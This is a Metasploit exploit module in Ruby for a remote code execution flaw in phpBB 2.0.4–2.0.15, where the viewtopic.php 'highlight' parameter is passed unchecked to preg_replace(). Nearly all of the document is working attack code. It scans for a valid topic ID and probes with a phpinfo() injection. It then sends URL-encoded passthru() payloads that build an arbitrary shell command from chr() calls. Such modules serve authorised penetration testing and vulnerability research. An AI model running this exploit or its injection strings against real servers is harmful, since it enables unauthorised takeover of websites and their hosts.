phpBB - 'viewtopic.php' Arbitrary Code Execution (Metasploit)

##
# $Id: phpbb_highlight.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'phpBB viewtopic.php Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits two arbitrary PHP code execution flaws in the
				phpBB forum system. The problem is that the 'highlight' parameter
				in the 'viewtopic.php' script is not verified properly and will
				allow an attacker to inject arbitrary code via preg_replace().

				This vulnerability was introduced in revision 3076, and finally
				fixed in revision 5166. According to the "tags" within their tree,
				this corresponds to versions 2.0.4 through 2.0.15 (inclusive).
			},
			'Author'         => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9671 $',
			'References'     =>
				[
					[ 'CVE', '2005-2086'],
					[ 'CVE', '2004-1315'],
					[ 'OSVDB', '11719'],
					[ 'OSVDB', '17613'],
					[ 'BID', '14086'],
					[ 'BID', '10701'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					[ 'Automatic', 		{ }],
					[ 'phpbb <=2.0.10', 	{ }],
					[ 'phpbb <=2.0.15', 	{ }],
				],
			'DisclosureDate' => 'Nov 12 2004',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),
				OptString.new('TOPIC', [false, "The ID of a valid topic"]),
			], self.class)
	end

	def find_topic

		1.upto(32) do |x|

		res = send_request_raw({
				'uri'	=> datastore['URI'] + '/viewtopic.php?topic=' + x.to_s,
			}, 25)

		if (res and res.body.match(/class="postdetails"/))
			print_status("Discovered valid topic ID: #{x}")
			return x
		end

		end
		return false

	end

	def exploit

		topic = datastore['TOPIC'] || find_topic

		if !(topic)
			print_status("No valid topic ID found, please specify the TOPIC option.")
			return
		else

			sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight="

			case target.name
			when /Automatic/
				req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"

				res = send_request_raw({
				'uri'	=> datastore['URI'] + req
				}, 25)

				print_status("Trying to determine which attack method to use...")

				if (res and res.body =~ /\<title>phpinfo/)
					byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
					sploit << "%2527%252epassthru(#{byte})%252e%2527"
				else
					byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
					sploit << "%27.passthru(#{byte}).%27"
				end

			when /2\.0\.10/
				byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
				sploit << "%2527%252epassthru(#{byte})%252e%2527"
			when /2\.0\.15/
				byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
				sploit << "%27.passthru(#{byte}).%27"
			end

			res = send_request_raw({
			'uri'	=> sploit
			}, 25)

		end

	end

end